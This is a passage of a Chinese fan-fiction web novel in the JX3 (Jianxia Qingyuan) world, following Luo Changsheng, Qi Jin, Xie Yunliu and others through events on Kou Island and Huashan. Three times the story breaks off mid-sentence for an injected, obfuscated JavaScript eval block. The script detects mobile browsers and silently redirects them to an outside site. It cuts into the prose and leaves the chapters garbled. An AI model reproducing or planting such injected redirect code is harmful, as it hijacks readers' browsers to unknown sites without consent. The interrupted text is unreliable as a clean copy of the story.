谢云流又是一声嗤笑:“呵,谢某在中原武林树敌无数,焉能知晓所有仇家姓名。” “谢……你是那东洋魔剑!”陶寒亭愕然,却仍是拔剑对着他,“魔头,休要伤我兄弟!” 谢云流问道:“你既不知我与他有何私怨,却还要护他?你二人远非我对手。” 方紫霞见他承认,亦拔出了剑,扬声道:“且不说前辈声名狼藉,我二人只知谢贤弟为人正直,古道热肠,若非他出手相救,世上恐怕已无我方紫霞这个人。若是前辈欲对谢贤弟不利,我二人便是拼死,也要护他周全!” 谢云流忽然朗声大笑,收了刀拎起呆愣愣的谢流岚:“倒是重情重义的性情中人。放心,谢某无意杀他,只有几个问题要他回答,他如今这副模样可不是谢某之过。” 陶寒亭与方紫霞对视一眼,走上前去,对着那双无神的眼睛,无奈地叹了口气:“唉,谢贤弟这病,为何又发作了?这要我们如何放心得下?” 方紫霞对谢云流一礼,恳求道:“前辈有所不知,谢贤弟身患这古怪的离魂之症,发作起来不分时间场合,亦不知会持续多久,如今正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432530|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算去求药。能否请前辈高抬贵手,先放他去治病,待病愈之后,再回答前辈问题,可好?” 谢云流皱眉盯着谢流岚,追问:“何处有药?” 陶寒亭与方紫霞多少知道些纯阳旧事,谢云流身份敏感,若是知晓他们欲上华山,还不知是何反应…… 就在他们犹豫的空当,谢云流忽然觉得自己袖子被人拽了拽,循着那力道望去,却只见那木偶般的人口中喃喃,似是在说…… “寇岛?” 谢云流皱眉看着流岚,这地方他知道,便是宫中神武遗迹所在,即那梦中悲剧发生地,一时竟不知这是线索还是陷阱。 陶寒亭与方紫霞又对视一眼,虽不知这寇岛为何处,却也遮掩道:“前辈,谢贤弟此前发病亦是如此,他虽面上形同木偶,却仍有意识,知晓自己目标为何,这寇岛便是他先前打算去求药的地方……” “我知道那是何地,可以带他前去。”谢云流目光扫过他二人,似是在观察他们的反应。 陶寒亭嘴唇翕动了一下,还未曾开口,便听后面传来清脆一声。 “那我也要去!” 却是方一琳跑了出来,护在谢流岚跟前:“这位老爷爷,我是、我是谢大侠的徒弟!你要带他走,必须也带上我!” “一琳……”方紫霞欲言又止,可她与陶寒亭也不知谢流岚为何会呢喃“寇岛”二字。 方一琳又道:“你若是想要人质,我跟你走,放过其他人……反正、反正我总是要跟着谢大侠的!” 谢云流对上方一琳清澈的眼睛,愣了两秒皱眉道:“我不需要人质……你是他的徒弟?” 方一琳不太坚定地点了点头,又补充道:“刚……刚刚拜完师。” 亦是刚知道自己多了个小徒弟的谢流岚:……罢了,也许一琳适合刀宗呢。 “既是师徒……”不知想到什么,谢云流十分轻易地松口答应了方一琳的请求。 陶寒亭和方紫霞还想劝阻,谢云流已心生不耐,径自拎着谢流岚和方一琳远去了,只留下个让他们望尘莫及的背影。 “寇岛……我们也快些跟上去!” 东海中的小岛还不知自己将迎来多少不速之客,不过在长生与祁进一行之前,还有一道布衣紫袍的身影上了岛。 这人乃是青岩万花弟子徐淮,此行乃是为寻找能解苗人蛊术的方法,只因传闻东海神仙岛上生有灵药,故从扬州出海,辗转到此。 他已在岛上住了几夜,于解蛊之法没有甚么发现,却新得了不少疑惑,譬如岛上不知为何全都疯了的海寇,又譬如那几个来历不明的神秘孩童…… 如此疑难杂症摆在面前却不得解,实在让他心里如猫抓一般难受。 昨日他听岛上的老和尚说,八代原中生有不少奇花异植,便想去看看,行至此处却只见一株巨大的红蘑菇直顶云霄,近处有只小蜘蛛吸了那蘑菇的汁液,竟变得无比巨大! 徐淮震惊无比,忙从包裹中掏出一只瓦罐,开始取蘑菇汁液。 望着汩汩流出的汁液,徐淮只恨不得立刻就能以身试法,瞧瞧这汁液究竟有何奇效。 然而就在这时,忽悠一道雪亮剑光从天边飞来,竟直直命中了他的陶罐! “谁?” 一个身影轻盈地从天而降,落在他面前,看样子竟是个少年,穿着道袍手执长剑,剑上还有血珠滴落,俨然一幅杀神模样。 徐淮眉头紧锁,心中警惕,正欲开口,却听那少年先声夺人,声音严肃又认真。 “不要乱吃东西。” 洛长生喘了口气,把装着毒蘑菇汁的陶罐踢到一边,心道:还好赶上了。 上了岛见到那些发疯的倭寇,她才想起徐淮此人,连忙在赶去日轮山城前打听了一番徐淮去向。虽不知他何时中毒,但看徐淮现在这副模样,应该来得还算及时, 徐淮皱眉望着他,不赞成道:“多谢少侠好意,然而我并非乱吃东西,而是为了分辨这岛上草药的药性……” “若是有毒?” “方才那蜘蛛吸食了蘑菇汁液,仍安然无恙。” “人与蜘蛛等同?” “……非也。”徐淮明白他的意思,却也坚持道,“故而需得亲尝百草,方知药效。” 长生便也直白道:“你会死。” 原本徐淮便是为了救人,甚至还是为救岛上发疯的倭寇,亲尝百草以致药性冲突而亡。 徐淮微微一笑,认真道:“那便也算死得其所。少侠放心,我行医多年,也足够谨慎。” 长生又问:“为救一群犯下无数杀孽的恶人?” 徐淮只是摇摇头,道:“任何生命都应当受到关爱,不管他们以前做错了什么。”* 洛长生叹了口气,她自然知道徐淮死前并不后悔,殉道而死大概也的确称得上死得其所,她只是觉得那些倭寇本就烧杀抢掠无恶不作,死有余辜……这是道不相同。 道不同不相为谋,可她偏偏不愿冷眼旁观,硬是要管这闲事。 “哪怕他们被救之后再去伤人?” 徐淮愣了愣,又好脾气地答道:“那便再做惩罚,医者绝无见死不救之理,至于其他,乃是医道之外的考量。若他们不知悔改,再度作恶,徐某亦不会坐视不理。” 长生摇摇头,没头没脑地说:“……可是,你死了,” 祁进提剑寻来,恰听得此言,险些一个跟头栽倒在地,当即呵斥:“洛长生,说什么呢?这位是药王座下三弟子徐淮徐先生,亦是你的长辈。” “徐先生好。”长生乖乖行礼。 徐淮看着祁进,又看看长生,见二人剑刃皆在淌血,又联系长生前言,不由生出一种不祥的预感:“紫虚子,你这剑上的血……” 祁进这才擦去剑上血迹,收剑入鞘,坦然道:“听闻清水村有海寇为祸已久,那些海寇如今莫名疯魔,杀了他们,以命偿命,也算解脱。” 徐淮愣愣地看着眼前理直气壮的师叔侄二人,竟眼前一黑,直接昏了过去。 19.是非恩怨随逝水 徐淮仿佛又听到了自己成为万花弟子时师傅孙思邈的话。 “你若要选择随我行医,成为万花谷弟子,需立下誓言:我为医者,需安神定智,无欲无求。先发大慈恻隐之心,誓愿普救含灵之苦……你能否遵行?”* 他亦听见自己答道:“我愿随师父行医,济世苍生!”* 可偏偏耳朵边还同时萦绕着另一段对话。 “长生,你到底跟徐淮说了什么?他怎的会忽然晕过去?” “他想喝毒蘑菇汁。” “……” 徐淮:我没有那么莽撞……至少当时没想立刻亲口喝下去。 “我叫他不要乱吃东西。” “……” 徐淮:我已不是三岁稚童,那只是在试药。 “他说他要治好那些倭寇。” “……” 徐淮:我们万花弟子拜师时曾立誓,“若有疾厄来求者,不得问其贵贱贫富、长幼妍媸、怨亲善友、华夷愚智,普同一等,皆如至亲之想”,我不过是在践行医者之道,唉……* “你说倭寇已经被我们杀了。” “……” 徐淮:那可是几十条人命啊……而且明明他们说的好像是事实,为何听起来如此诡异? 够了……再听下去,他都害怕自己再被这师叔侄二人气昏过去。 徐淮挣扎着睁开眼,就见那一高一矮两位道长站在窗边面面相觑,皆是一幅冷若冰霜的模样,可他却恍惚看到一股子无可奈何之气从二人天灵盖冒出。 想到那些已然驾鹤西去的倭寇,他在心里暗叹一声,罢了,罢了,不论是遇着他还是遇见这二位嫉恶如仇的道长,一切都是天意,那些倭寇命该如此,他也无能为力。只是仍不知他们为何发疯,若是再有人出现类似症状…… 还有那些古怪孩童想寻找的“治病之法”,他固然明白长生拦他乃是出于好意,却也不能为此停止试药。若遇危险便瞻前顾后,自虑吉凶,护身惜命,实在枉为万花弟子。* 徐淮正要开口说话,却听洛长生困惑道:“我不明白。” 祁进奇异地看她一眼,挑眉问道:“有何疑惑?” “救一恶人或有再伤百人之患,当救否?” “你若问我,我会任其自生自灭,但若是万花弟子……”祁进想起那个白发紫衣的身影,叹了口气,“她会救人……这是医者之道,而非武者之道。” 长生沉思片刻,又问:“一名医者可救无数人,若因亲尝百草不幸身死,是否可惜?” “若真有此事,的确令人遗憾。”祁进又道,“然而对医者而言,却如以身殉道,牺牲的经验亦可用来告诫世人,如此或许亦能救人无数。” 他这样回答,却换来长生一个不满的眼神,实在让他莫名其妙。 洛长生干脆问:“何不以罪大恶极之人试药?无论是半道不幸罹难,还是有幸觅得良方,都是功德一件,多少抵消过往罪孽,免得投胎畜生道。” 祁进这才明了她的意思,悄悄看了身体紧绷的徐淮一眼,失笑道:“难得听你长篇大论,只是这话同我们这般武人说便好,对于医者而言,只怕被当做对他们医者仁心的侮辱。而且,所谓罪大恶极,又该由谁人判定?” 他伸手拍了拍长生的肩:“人各有志,莫要强求。” 长生依旧坚持:“可是一名医者的存活,难道不比一个凶徒的存活更有意义?” “在他们眼中,人的性命并非秤砣,没有重量区别。” 祁进摇摇头,干脆拉着她离开,踏出屋子时却又忍不住回头道:“但仅从祁某个人私心出发,护身惜命未必有违医者之道,无谓的牺牲只会空惹惆怅……我这师侄性子执拗,恐怕再惹徐先生生气,便先告辞——洛长生,你又去哪儿?给我回来!” 纯阳轻功格外好用,长生转眼就没了影儿,再出现时竟顶着满头大汗,对他道:“走吧。” 祁进一个急性子都快被她磨得没了气,无奈问道:“方才去哪儿了?” 长生仍旧面无表情,眼中却似有一丝狡黠:“试药。” 祁进大惊失色:“你自己吃了毒蘑菇?” 长生无语:“……我不傻……还惜命。” 祁进盯着她瞧了一会儿,忽然想到什么:“你留了几个倭寇?” “七个,在清水村。” “我不是问你数目,也不是地点……你给那些疯了的倭寇吃了什么?” “毒蘑菇汁液、蜈蚣、海星、龟胆、火蛇果……混搭。”总之就是赶在徐淮亲自动口之前把她能想到的所有搭配组合都给那些倭寇喂一遍,还在每个倭寇身边留了记录。 不等祁进开口,一道身影已经飞快跑出屋子,朝清水村的方向去了,不是徐淮还能是谁? “你……” “走了。” “洛长生!” 长生只好转身,指指徐淮离开的方向,又指了指自己:“他的道,我的道。”我知道他有他的道,我也有我的道,若是这两条道有冲突,那便任它们撞在一起,再瞧瞧结果吧。 她看着祁进眨了眨眼,忽然露出恍然大悟的表情:“啊,祁师叔在担心之岚姐姐听说……” 祁进忍无可忍,给了她一个爆栗,揉着太阳穴痛苦道:“走吧。不许多话,还有,不准这么叫她……也不准冲我翻白眼,目无尊长,成何体统!” 等找回洛风,他一定立马把这小兔崽子扔给他,从此再也不掺和任何静虚之事。 长生见好就收,不再管徐淮那边的结果,尽人事听天命,这个道理她还是懂的。 师叔侄二人快马加鞭,往日轮山城方向赶去。 却说洛风一行,自从在纯阳收到师傅消息便一路追寻直至此处,不料反而被困城中,又被下了五毒的百夜杏毒,每次运功都需很长时间,实在难以从倭寇当中脱身。 而且先前与他过招的东瀛人一招一式都藏有师傅曾经的教导,那剑中力道运用风格他再熟悉不过,也因此,尽管此行未能得见师傅,洛风却也还抱着从对方身上找到线索的希望,两相权衡之下,不知不觉便在这日轮山城逗留许久。 只是那些倭人实在欺人太甚,屡次出言侮辱,毁坏纯阳清誉,甚至诱骗他们写信给师傅,意图败坏他的名声,近来似乎还有了别的图谋,将护送渡明大师舍利子回少林的玄合大师一行也强行扣留城中,不知是何缘故。 洛风一边勉力运功为师弟张钧逼出冰符之毒,一边皱眉思索此间诸事,忽听得外面又传来倭人令人厌烦的调笑声,心中更是愤懑。 张钧亦是轻咳着,恨声道:“这帮倭人屡屡对师妹出言轻薄,解毒之后定要他们死于我等剑下。” 洛风心中羞惭:“都怪我当初一意孤行,误中贼人奸计,当时便该把你们留在纯阳……” 张钧安慰他:“大师兄莫要如此,外出寻师是我们一致决定,况且留在纯阳也未必比现在好受多少,我只担心师侄他们留在山上,恐怕又要受委屈。” “唉。”洛风叹了口气,“如今也只能希望不虚此行,早日找到帮师傅与门中化解旧怨的契机。” 运功结束,洛风收回双掌,起身道:“师妹为我二人护法,还要听这般污言秽语,你身上仍有余毒,先好好调息,我出去寻萧孟师妹。” 张钧打坐调息,耳朵却忽然动了动,疑惑道:“师兄你听,那些倭人似乎没了动静?仿佛还有兵戈之声……” “莫不是师妹与他们打起来了?她身上还有百夜杏毒,恐怕支撑不了多久……”洛风急忙往外走,却望着山头剑光愣在了原地——剑锋三现,虚实难辨,正是一招三环套月,可此等威力又绝非师妹手笔…… “大师兄!”萧孟眼含泪光从侧旁冲了过来,“是……是祁师叔和小师妹!” “祁师叔?小师……妹?”不知为何,洛风卡了下壳。 慢一步赶来的张钧亦是重复了一遍这句话,在同一个地方顿了一下,却又很快松了口气,欣喜道:“祁师叔和小师妹来救我们了?” 刚刚落地的祁进:“……”等等,师……什么? 长生面无表情地站在他身边,把斩杀了无数倭寇的剑塞回鞘中,无辜地看向他。 谁能想到跟倭寇打架的时候会突然跳出一个性别选择的系统提示啊?手速快怪她咯……而且为什么吕祖给发的性别变换功能会延迟这么久才发放啊! 总之绝对不是她的错,嗯,绝对。 等祁进消化好这个事实,就见长生已经被她那几位师兄师姐围在中央,一会儿被揉揉头发,一会儿被捏捏脸,乖巧得跟在他面前仿佛是两个人。 他重重咳嗽一声,就见那几个令他心烦的静虚弟子僵了一僵,纷纷停下手中动作,在他面前站成一排,躬身行礼,齐声道:“祁师叔,多谢。” 洛风更是上前一步,格外诚恳地说:“师叔,小师妹已经将吾等离开后纯阳所生风波尽数告知,洛风在此叩谢师叔对静虚门下弟子解救庇护之恩。” 祁进看着他,竟不自觉生了退后的念头,盖因那场噩梦中的情景太过清晰,以至于他面对真实的洛风,竟会情不自禁地懊悔与愧疚,最后只淡淡道了句“不必”,还要立刻反省自己的语气会否惹人误会。 下一秒就见长生摇摇头,装模作样地凑到萧孟耳边,却偏偏用在场所有人都听得一清二楚的声音道:“祁师叔害羞了。” “洛长生!”今天又是紫虚子被师侄气得火冒三丈的一天呢。 “咳,师妹,慎言。”洛风忍着笑意,竭力严肃地制止了长生,又对着祁进正色道,“师叔,被困在这日轮山城当中的,除了我等,还有其他中原门派弟子,只怕东瀛人对中原武林虎视眈眈,图谋不轨。” 祁进微微颔首,虽不满洛风在谢云流一事上的不顾大局,却也对他的正直颇为欣赏,闻言道:“我与长生一路上确实遇到一些中原侠士,且从天策府来人处得知了一个消息——李重茂,此时或许就在城中。洛长生,你站住!” 洛风也不解道:“长生这是要去哪儿?” “杀了李重茂。”洛长生直言不讳。 洛风等人皆愣了一瞬,看看揉着太阳穴的祁进,又看看面无表情的长生,小心翼翼地试探道:“师妹,你可知李重茂和师傅乃是……” 长生理所当然道:“师傅遇人不淑,早该弃暗投明——” 她忽然不说话了,祁进与洛风几人皆望着她,前者直接开口:“怎么了?” 长生却面露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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祁进原本听到谢云流之名便心情暴躁,可一来先前受了吕祖调解,二来自觉对静虚一脉有愧,三来面对洛风心情复杂,听得这为谢云流开脱之言,竟也不曾大发雷霆,只道:“这般猜测尚无实据,你若有疑,待回去禀明掌门师兄,再做调查。” 张钧与萧孟悄悄对视一眼,都不免在心中感叹,祁师叔果真与先前大有不同了。 说话间,长生又提着剑站起来,祁进只觉心累,却还是问:“洛长生,你又……” “杀倭寇,救人。” 暂时动不了李重茂,多杀几个倭寇和对中原图谋不轨的一刀流杂兵,总可以吧……算算时间,谢流岚那边再过几日也该到了,这日轮山城的第一场戏正好落幕。 这个主意倒是无人反对,恰好纯阳众人亦对海寇和一刀流中人不满许久,当即决定联合同样被困于此的中原武林弟子,不论日轮山城暗中谋划何事,先搅了局再说。 待到谢云流等人登岛之时,就听说日轮山城莫名起了一场大火,城中倭人死伤大半,连年幼的城主都失踪了。 望着火光冲天的日轮山城,谢云流不知为何心生异样,看了眼浑浑噩噩的谢流岚,决定暂时将他扔给跟过来的陶寒亭等人,想只身前往山城一探,却被谢流岚抓着衣袍不放,似乎一定要随他一起去。 一行人到了城中,果然看见遍地倭寇尸体,其中不少还穿着一刀流装束。 谢云流心中又是气恼又是遗憾,行至一处水边,竟从底下捞出一个人,定睛一看不是别人,正是他离开东瀛前留在李重茂身边做护卫的弟子上衫勇刀。 “你为何在此?发生了何事?” 同一时刻,长生站在船舷边,望着微微起了波澜的海面,似是在发呆。 洛风从船舱出来,见她在此处,走过来感叹道:“不想万花阿麻吕先生还有此等身世,那日轮山城的前任城主竟是他的父亲……” 长生回过神,问:“他与源明雅……恩怨可解?” “幸好我们当时拦下了那个服部胧藏,查明他才是害死山崎城主的罪魁,源氏不过是被嫁祸。”洛风叹了口气,“当时情势实在危及,险些让他害死玄合大师,将那源明雅带走。师妹啊,这件事里,你可是最大的功臣。” 长生摇摇头,揉了揉被她抱在怀里的鹤崽,不由庆幸行动前一晚她在梦中闯了次普通日轮山城,否则也不会对这古早副本剧情记得如此清楚,唔,还要庆幸那副本里的boss远不到她师傅谢云流那种级别。 洛风见她兴致缺缺,又问:“可是还在担心山城那边?说到这个,我倒是有些不解,师妹为何独独留下那上衫勇刀一命?尽管他亦算师傅的弟子,却屡次对我等出言挑衅,还对我中原武林很是不屑……这般行事,枉为师傅传人。” “师傅或许不这么想。”长生轻声道,“师兄,我们静虚一脉,只有你见过师傅。” 在谢云流心里,至少现在,她和张钧萧孟等人同几位师侄加起来,大概也比不过上衫勇刀,当然,长生其实并不在乎这些,只是有李重茂之事在先,她不免想到上衫勇刀之死可能带来的后果,可不想此人成为纯阳合家欢路上的绊脚石。 这些心思洛风自然不知,他甚至不知道心心念念的师傅此刻正在寇岛,否则恐怕会当即要求调转船头,他只觉得少年老成的师妹难得生出这种忧心,笑着安慰道:“师傅必然会喜欢你们的。” 长生点点头,嘴角微微弯了弯。 不急,只要上衫勇刀按照她的安排行事,幕后黑手彻底暴露,谢云流与东瀛人公开彻底地划清界限,距离他们这些静虚二代弟子正式面见师傅,便不远了。 穿越后的第一个春节,她真希望能过个好年。 20.别来山海有团圆 听上衫勇刀转述完日轮山城之事的始末,谢云流摩挲着刀柄,神情看不出喜怒。 半晌后,他才开口:“所以,你是随重茂一起来到此处?” 上衫恭敬答道:“是,大师范命我护卫李重茂师范,在下不敢懈怠。”* 谢云流又问:“那城主是请他以我的名义去信纯阳,邀了风儿他们参加所谓日轮宴? “是。” “你们先前可知那城主的目的是将中原武林名宿困在此地,图谋不轨?” 听出他言语之中未曾遮掩的怒气,上衫勇刀跪伏在地:“……是。” 谢云流握着刀柄的手已是青筋暴起,他冷哼一声,道:“李重茂来此的原因恐怕不止接到邀请那么简单吧。” 陶寒亭旁听许久,终是按捺不住,追问道:“陶某曾闻东海之上有一听月岛,后改名日轮山城,乃是中日贸易中转之用,然而观这山城遍地残破机关,又有如此多的海寇,便知它已成倭国军事驻地,谢前辈先前所言李重茂,可是那位……难道废帝果有复起之心?” 谢云流并未回答,可是沉默本身便已能说明问题。 当初他离开东瀛返回中原,除了复仇,不也正是因为察觉藤原家对自己的利用、李重茂的逐渐改变,还有……对纯阳过往的怀念吗? 可每次再度见证旧友日渐膨胀的野心,他依然会感到失望。 陶寒亭察觉谢云流微妙的态度,长叹一声,对他拱了拱手,不再说话。 上衫勇刀被陶寒亭打断,还未曾回答谢云流的问题,却听他已再度开口:“上衫,你可知我已在五年前退出了一刀流?今后不必再称呼我为大师范。” 开元二十七年,亦是六年前,他重返中原,同年寻得当初在他与李重茂逃亡时背叛他的朋友苏鱼里,知晓了当年之事还有内情,最终放过了苏鱼里,可是次年,却有一名为浪三归的侠客远赴西域,要为苏家惨遭灭门之事向他寻仇。 谢云流知晓此前有人冒用他的名姓在中原武林掀起腥风血雨,却因只在武人之中,并未加以理睬,然而这次祸及苏鱼里全家上下,却实在令他怒不可遏。 他派心腹红叶暗中调查此事,不料竟查到跟随自己到中原的一刀流六番队队长尾上菊村头上,欲取其性命之时,藤原广嗣话里话外皆在为尾上菊村开脱,终是让他看清藤原广嗣其人与一刀流真实面目,遂以义断恩,退出一刀流,不久后自己开宗立派,是为刀宗。 “大师……谢……”上衫勇刀一时竟不知该如何称呼谢云流。 谢云流与他终究有师徒之谊,亦清楚上衫是个愚忠之人,故而干脆道:“你若视自己为一刀流之人,便自行离去,顺便告诉藤原广嗣和李重茂,日后好自为之,假使将来立场相悖,谢某绝不会手下留情;你若仍想追随我,便不必再护卫重茂,日后可随我去刀宗。” 上衫满脸急切,正要开口,却见谢云流抬手道:“你不必立刻作出决定,我还要在这岛上逗留几日。若你想加入刀宗,日后便不可再与藤原广嗣等人有所牵连,对待中原武林也不可再像先前一般猖狂,你此次落败,应已知晓自己斤两。” 他说完便站起身带着呆愣愣的谢流岚离开了,陶寒亭等人也立刻跟了上去,只留上衫一人在原地,思索未来何去何从。 谢云流所谓逗留几日,自是对先前谢流岚要往寇岛寻药一事信以为真。 长生那边又上了船,本可故技重施,奈何师兄师姐对她看得更紧,尤其萧孟遭遇此次变故,恨不得时时刻刻跟这个小师妹黏在一起,以至于长生分身乏术,谢流岚便只能保持那副患了失魂症一般的模样,只有夜里才能恢复正常。 她本想立刻和谢云流说清楚,能治自己这病症的只有吕祖,上了华山便可以解决问题。 可是偏偏陶寒亭几人也对她的病情十分担忧,找来找去竟又找到了滞留寇岛的徐淮头上。 听到这个消息时,谢流岚脑海中只剩下十个大字——“风水轮流转,苍天饶过谁”,还有只大逆不道的鹦鹉在她脑袋里疯狂嘲笑,叫嚣着“不是不报,时候未到。” 说来也巧,年关将至,阿麻吕等万花弟子离开前本邀请徐淮同行,然而长生先前用倭寇试药竟歪打正着有了成效,徐淮一门心思扎在帮那几个仿佛不老不死的“孩童”寻得扭转之法上,直接拒绝了二师兄的好意。 待送走对他感激涕零的“孩童”们,竟又遇上个身患疑难杂症的病人,徐淮都觉得自己是不是命中注定要留在寇岛。 眼看这样下去不知要拖到何年何月,洛长生只好憋出个“闭关”的蹩脚借口,不许任何人打扰,心一横就将灵魂转移到谢流岚体内。 睁开眼时正对上徐淮手中银针,她几乎立刻从床上跳下来,道:“这方法对我无益。” 徐淮惊愕地看着这忽然神台清明生龙活虎的“病患”,心中奇异之下也不忘好奇道:“你怎知我这针灸之法于你无益。” 谢流岚一边暴力制裁放声大笑的鹦鹉,一边在心中叫苦不迭,只能道:“此病症世间唯有一人能解,便是华山吕纯阳。” 徐淮只当她讳疾忌医,全将希望寄托在怪力乱神的手段上,还安抚道:“好好好,但让我为你把把脉,亦无甚么坏处。” 偏偏这时谢云流也推门进来,目光沉冷地盯着谢流岚:“你既知这病只有师……只有吕纯阳可解,为何又在浑噩之时执意要来寇岛?说,你究竟是何来历?” 谢流岚只觉得自己被回旋而来的暴雨梨花针扎成了刺猬,绞尽脑汁想要辩解之时,却有一浑身浴血之人蹒跚着冲了进来,恰好做了她的救星。 “上衫?”谢云流搀住那人,惊道,“谁干的?” “快快,先给他止血!”在场唯一的大夫也立刻忙碌起来。 谢流岚先是松了口气,随后却也慢慢皱起眉,盖因上衫勇刀说,是接管日轮山城的新任城主野村一郎欲置他于死地。 “我先前未随李师……李重茂回东瀛,他们便都以为我死在了日轮山城,又听得宗主在此,便生了嫁祸中原武林之意……”上衫艰难地说,“我初见野村一郎,他只问我有无见过宗主,我见他神色有异,便未曾说实话,谁料他竟直接拔刀砍来……” “好了,你先养伤。”谢云流眉间多了丝阴沉,“我去除掉那厮,替你报仇。” 谢流岚一句话都没来得及说,雷厉风行的宗主便冲了出去,不多时就提回一个人头,惹得一旁的徐淮直道“罪过”。 被这里动静惊动的陶寒亭几人也赶了过来,见几人齐聚,谢云流从怀中掏出一封信,沉声道:“藤原广嗣那厮竟还安排了后手,风儿他们有难,我不能坐视不理……” 说到这里,他看了一眼谢流岚,手中刀刃还闪着银光:“你说——只有吕纯阳能救你?” 谢流岚硬着头皮点了点头,便听他道:“那就去华山走一遭吧。” 徐淮欲言又止,谢云流却留了上衫勇刀给他照看,最终徐淮只能看着谢流岚叹了口气,分别前硬是给他号了把脉。 “脉搏有力,气息平稳,内息深厚……筋骨极佳鲜少生病的好苗子……或许你说得对。” 至少眼下,他对那离魂之症毫无头绪,再耽误病人求医便是无理取闹了。 “只希望谢大侠痊愈后若有机会,再来让徐某摸个脉,如此便也全了我这医者念想。” 谢流岚对他躬身一礼,应下这个约定,只离开前忍不住说了句:“那便也请徐先生照顾好自己,莫误了约定之期。” 两艘船便这般一前一后离了寇岛,谢流岚仗着身边没有医师,又怕被宗主质问先前矛盾之处,便干脆又遁去洛长生处了。 纯阳一行早几日出发,这天已经抵达扬州港口,船上各派名宿自然也到了分道扬镳之时。 “静虚子与东洋剑魔一事我等亦有所耳闻,不过既然紫虚子与诸位静虚弟子皆道乃是东瀛人阴谋,我等此次也算与各位同生死共患难,回去定会禀报李承恩将军。” “阿弥陀佛,老衲亦然,此番多谢诸位出手相救。” “吾也会告知师傅与谷主。” 除此之外,还有个被迫跟来的源明雅,少年天才的阴阳师似乎还未从先前的阴谋中恢复过来,不想返回故土,被问及要去何处却也答不上来。 阿麻吕为先前误会深觉羞愧,邀请源明雅去万花谷以作弥补,玄合大师也邀请这个心思还算纯粹的东瀛人去少林做客,却都被拒绝了。 长生想到源明雅和多多的关系,不由又捂住脸,一幅牙酸的模样,却偏偏和他对上目光。 源明雅盯着她看了一会儿,忽然开口问道:“这位洛少侠,可否借一步说话?” “有什么话在这里说便好。”祁进拦在长生身前,警惕地看着源明雅,经此一遭,他对东瀛人没有任何好感。 源明雅亦有自己的傲气,反驳道:“事关洛少侠个人秘辛,想必她也不愿被外人知晓。” 长生倒真的有些好奇,她也知道源明雅此人有真本事,便从祁进背后走出来,应道:“我跟你去——师叔,他打不过我。” 源明雅:“……” 祁进:“……”忽然就不担心了。 长生跟着源明雅走到角落,刚停下脚步,就见少年阴阳师转过身,很是不满地看着她。 “你们这些世外之人真是不知礼数……” 祁进和洛风等人站在码头边,等了没多久,就见长生面无表情地走了回来。 洛风惊讶道:“这就说完了?那个东瀛少年呢?” “走了。”估计是去找多多。 长生不太想掺和他们两个的剧情,看在源明雅把曾在霸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16451219|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀山庄遇见过“世外之人”的消息告诉她的份上,以后见面如果立场不同,她下手会轻一些的。 “我们回吧。”她仰头看向师叔和师兄师姐。 “你心情很好?”祁进忽然问。 洛风三人面面相觑,都不知道祁师叔怎么从小师妹那张面瘫脸上看出她心情很好。 长生坦然地点了点头,大概是因为终于确定了这个世界上不止自己一个人在努力吧。 道阻且长,然吾道不孤,她在这世上有同乡,还有身边这些人。 等这一行纯阳游子快马加鞭赶到华山脚下,已过了祭灶之日,本该立刻回山,他们却纷纷勒马停住了脚步。 祁进凌厉的目光扫过四名静虚弟子,难得称赞一句:“警惕心还算合格。” 洛风眉头微蹙:“尚不知晓追兵人数,不宜上山,免得给山门中人招致祸患。” “必定又是那些可恨的东瀛人。”萧孟怒道,“既然来了华山,就别想走。” 张钧四下环视一番:“去论剑峰如何?这个时节峰上应无多少弟子。” “一起还是分开?”长生问。 祁进冷哼一声:“他们三个伤还未好全,别又像日轮山城一般。这次回山好生修炼,莫要总惦记着去寻那谢云流,他一大把年纪了,又是什么东洋剑魔,若还当自己是纯阳之人,从那个上衫口中得了信,想来自然会来。” 洛风仍有些担忧:“就怕那个上衫再误导师傅……” 长生抱着剑,淡淡道:“他不敢。” 她可是跟上衫勇刀说了,如果他敢违背誓言对谢云流撒谎,她就算远在千里之外,也会让他遭遇蛇患——嗯?为什么是蛇患?当然是因为谢流岚跟在师傅身边,可以随时对上衫使用百战技能“蝮蛇召唤”啦。 “虽然不知道你又做了什么……”祁进狐疑地看了她一眼,最后决定,“萧孟换个装束,悄悄上山给掌门师兄报个平安,其余人随我去论剑峰。” 其他人不知道,长生却再清楚不过,眼下纯阳的情况要比原本好上许多。 至少他们只需面对东瀛人,那些心怀不轨的神策军早因郁清公主一事被撤出纯阳,最多只在华山脚下驻扎,还因为遭了严查,不敢轻举妄动。 他们先一步上山,占据有利地势,几个人便可与那些一刀流忍者周旋数日,只待她要等的那个人赶来了。 谢云流一行赶到的时候,恰是长生算好时机,让洛风应了一刀流小头领藤原健三郎挑战之时。 他飞身而来,恰见两个暗中埋伏的忍者偷袭自己徒儿,又听洛风怒斥一声,仿佛那忍者刀上有毒,当即怒不可遏。 可他刚要一刀砍翻那两名罪魁,却不知是巧合还是故意,竟被呆呆傻傻的谢流岚挡了一下,而就在这个空档,洛风已经上了论剑台,与藤原健三郎战成一团。 